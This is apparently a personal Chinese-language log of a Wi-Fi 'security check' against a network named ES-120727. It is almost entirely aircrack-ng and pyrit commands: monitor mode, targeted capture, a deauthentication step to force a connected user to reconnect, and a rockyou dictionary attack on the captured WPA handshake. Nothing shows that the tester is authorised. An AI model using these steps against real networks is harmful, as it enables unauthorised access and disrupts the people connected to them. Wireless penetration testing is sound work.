无线安全检查记录
无线安全检查
准备
工具: 一块8187无线网卡
安装aircrack-ng:
sudo pacman -S aircrack-ng
安装pyrit:
sudo pacman -S pyrit
抓包
- 开启网上监听模式:
sudo airmon-ng start <interface>
- 确定目标:
sudo airodump-ng <mon-interface>
就来测试一下ES-120727
这个无线的安全。
- BSSID: 40:xx:xx:xx:xx:41
- ESSID: ES-120727
- Channel: 11
- 针对性抓包:
sudo airodump-ng --bssid 40:xx:xx:xx:xx:41 --channel 11 --essid ES-120727 -w es120727-test wlp0s20f0u1mon
发现一个用户连接着,要抓握手包,得让他们重新连接,否则只能等。
- Deauth:
成功抓到握手包。
分析握手包是否完整:
pyrit -r es120727-test-01.cap analyze
重新抓包直到抓到完整的握手包:
破解
- 导入密码字典
pyrit -i ~/tools/pentest/dicts/rockyou.txt.gz import_passwords
- 创建AP
pyrit -e ES-120727 create_essid
- 计算PMK
pyrit batch
这个过程比较慢。
- 暴破
pyrit -r es120727-test3-01.cap.gz attack_db